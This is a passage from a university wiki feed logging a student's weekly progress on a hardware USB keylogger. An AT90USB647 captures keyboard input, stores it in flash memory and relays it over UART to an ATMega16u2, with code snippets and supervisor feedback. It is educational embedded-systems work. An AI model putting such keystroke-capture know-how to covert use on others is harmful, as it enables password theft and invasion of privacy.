ReX : Ils passent en mode DFU ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].&lt;br /&gt;
&lt;br /&gt;
Concernant les envoies d'octets via la liaison série, j'ai donc rajouté des délais avec les fonctions de la librairie &amp;lt;code&amp;gt;Serial.h&amp;lt;/code&amp;gt; de LUFA. Le déroulé se passe comme ci-dessous :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
while(!Serial_IsSendReady());&lt;br /&gt;
Serial_SendData(tableau_de_7_octets);&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
.....&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et pour la réception :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
if (Serial_IsCharReceived())&lt;br /&gt;
{&lt;br /&gt;
    uint8_t Modifier = Serial_ReceiveByte();&lt;br /&gt;
    while(!Serial_IsCharReceived());&lt;br /&gt;
    uint8_t KeyCode1 = Serial_ReceiveByte();&lt;br /&gt;
    while(!Serial_IsCharReceived());&lt;br /&gt;
    ...&lt;br /&gt;
    uint8_t KeyCode5 = Serial_ReceiveByte();&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Donc il n'y a plus de boucle qui vérifie le code 0xFF. On n'utilise seulement les fonctions fournit par LUFA maintenant.&lt;br /&gt;
&lt;br /&gt;
= Documents Rendus =&lt;br /&gt;
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans la fonction &amp;lt;code&amp;gt;LEDs_ToggleLEDs&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Erreur dans le &amp;lt;code&amp;gt;makefile&amp;lt;/code&amp;gt;, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; :&lt;br /&gt;
 CLKSEL0 = 0b00010101;   // sélection de l'horloge externe &amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;br /&gt;
 CLKSEL1 = 0b00001111;   // minimum de 8Mhz&lt;br /&gt;
 CLKPR = 0b10000000;     // modification du diviseur d'horloge (CLKPCE=1)&lt;br /&gt;
 CLKPR = 0;              // 0 pour pas de diviseur (diviseur de 1)&lt;br /&gt;
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]&lt;br /&gt;
&lt;br /&gt;
Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références vidéo&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références image&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Image&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Liste des références code&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&amp;lt;references group=&amp;quot;Code associé&amp;quot; /&amp;gt;&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:2023_EC5_Keylogger.zip&amp;diff=837</id>
		<title>Fichier:2023 EC5 Keylogger.zip</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:2023_EC5_Keylogger.zip&amp;diff=837"/>
		<updated>2023-08-14T18:59:30Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : Bnguyen1 a téléversé une nouvelle version de Fichier:Keylogger.zip&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Description ==&lt;br /&gt;
Programmes Keylogger pour l'AT90USB647 et l'ATMEGA16U2&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=836</id>
		<title>SE4 2022/2023 EC5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_2022/2023_EC5&amp;diff=836"/>
		<updated>2023-08-14T18:50:00Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : /* Documents Rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Objectifs =&lt;br /&gt;
&lt;br /&gt;
Il vous est demandé de : &lt;br /&gt;
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :&lt;br /&gt;
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,&lt;br /&gt;
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,&lt;br /&gt;
** une mémoire flash pour pouvoir sauver les touches capturées ;&lt;br /&gt;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;&lt;br /&gt;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;&lt;br /&gt;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;&lt;br /&gt;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;&lt;br /&gt;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.&lt;br /&gt;
&lt;br /&gt;
= Matériel nécessaire =&lt;br /&gt;
&lt;br /&gt;
Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.&lt;br /&gt;
&lt;br /&gt;
[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]&lt;br /&gt;
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]&lt;br /&gt;
&lt;br /&gt;
Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.&lt;br /&gt;
&lt;br /&gt;
Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en &amp;lt;code&amp;gt;.fzz&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Travail réalisé =&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 1&amp;lt;/u&amp;gt; ===&lt;br /&gt;
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.&lt;br /&gt;
&lt;br /&gt;
Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.&lt;br /&gt;
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]&lt;br /&gt;
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA. &lt;br /&gt;
&lt;br /&gt;
J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.&lt;br /&gt;
&lt;br /&gt;
Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Vidéo :&amp;lt;/u&amp;gt;  [[:Fichier:EC5-Semaine1.mp4]]&amp;lt;ref&amp;gt;Vidéo rapport semaine 1&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.&lt;br /&gt;
&lt;br /&gt;
ReX : La fonction de délai est &amp;lt;code&amp;gt;_delay_ms&amp;lt;/code&amp;gt;, le fichier d'inclusion nécessaire est &amp;lt;code&amp;gt;util/delay.h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 2&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.&lt;br /&gt;
&lt;br /&gt;
ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.&lt;br /&gt;
&lt;br /&gt;
ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...&lt;br /&gt;
[[Fichier:Image.png|vignette]]&lt;br /&gt;
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) &amp;lt;ref group=&amp;quot;Image&amp;quot;&amp;gt;[[:Fichier:Keyboard problem2.jpg]]&amp;lt;/ref&amp;gt;, mais le périphérique reste inconnu pour ma machine.&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (&amp;lt;nowiki&amp;gt;https://youtu.be/Vd0F0XHzchY&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
ReX : Tu tentes de faire le projet sous windows ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.&lt;br /&gt;
&lt;br /&gt;
ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec &amp;lt;code&amp;gt;dfu-programmer&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]&amp;lt;ref&amp;gt;[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu je te vois taper sur ton clavier ?&lt;br /&gt;
&lt;br /&gt;
Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 3&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Fichier :&amp;lt;/u&amp;gt; [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;Question :&amp;lt;/u&amp;gt; Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel. &lt;br /&gt;
&lt;br /&gt;
Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 4&amp;lt;/u&amp;gt; ===&lt;br /&gt;
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.&lt;br /&gt;
&lt;br /&gt;
ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;MassStorage :&amp;lt;/u&amp;gt;'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.&lt;br /&gt;
&lt;br /&gt;
ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.&lt;br /&gt;
&lt;br /&gt;
Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.&lt;br /&gt;
&lt;br /&gt;
ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.&lt;br /&gt;
&lt;br /&gt;
'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).&lt;br /&gt;
&lt;br /&gt;
ReX : Oui :)&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;KeyboardHost :&amp;lt;/u&amp;gt;'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.&lt;br /&gt;
&lt;br /&gt;
ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.&lt;br /&gt;
&lt;br /&gt;
Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.&lt;br /&gt;
&lt;br /&gt;
ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.&lt;br /&gt;
&lt;br /&gt;
Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.&lt;br /&gt;
&lt;br /&gt;
Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?&lt;br /&gt;
&lt;br /&gt;
ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :&amp;lt;/s&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.&lt;br /&gt;
&lt;br /&gt;
J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.&lt;br /&gt;
&lt;br /&gt;
D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.&lt;br /&gt;
&lt;br /&gt;
ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Mémoire ====&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo test mémoire par commande&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Test mémoire en écriture et lecture&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).&lt;br /&gt;
&lt;br /&gt;
==== Gestion clavier USB ====&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]&amp;lt;ref&amp;gt;Vidéo démo du programme KeyboardHost sur l'AT90&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur&amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot;&amp;gt;Configuration de l'horloge&amp;lt;/ref&amp;gt;. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo AT90 et Arduino/LCD qui récupère les caractères&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo démo Clavier -&amp;gt; AT90 (USART) -&amp;gt; ATMEGA -&amp;gt; PC&amp;lt;/ref&amp;gt;. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).&lt;br /&gt;
&lt;br /&gt;
On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).&lt;br /&gt;
&lt;br /&gt;
Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.&lt;br /&gt;
&lt;br /&gt;
==== Keylogger ====&lt;br /&gt;
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.&lt;br /&gt;
&lt;br /&gt;
ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.&lt;br /&gt;
&lt;br /&gt;
Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
	CLKPR = (1&amp;lt;&amp;lt;CLKPCE);&lt;br /&gt;
	CLKPR = 0;&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
&lt;br /&gt;
	SetupHardware();&lt;br /&gt;
&lt;br /&gt;
	puts_P(PSTR(ESC_FG_CYAN &amp;quot;Keyboard HID Host Demo running.\r\n&amp;quot; ESC_FG_WHITE));&lt;br /&gt;
&lt;br /&gt;
	LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);&lt;br /&gt;
	GlobalInterruptEnable();&lt;br /&gt;
&lt;br /&gt;
	/* Variable for the AT45DB641E */&lt;br /&gt;
	int page_start  		 = 0;&lt;br /&gt;
	int page_actual 		 = page_start;&lt;br /&gt;
	int page_buffer_size = 0;&lt;br /&gt;
&lt;br /&gt;
	for (;;)&lt;br /&gt;
	{&lt;br /&gt;
		KeyboardHost_Task(&amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
        Flash_Task(&amp;amp;page_start, &amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
		USB_USBTask();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// ...&lt;br /&gt;
&lt;br /&gt;
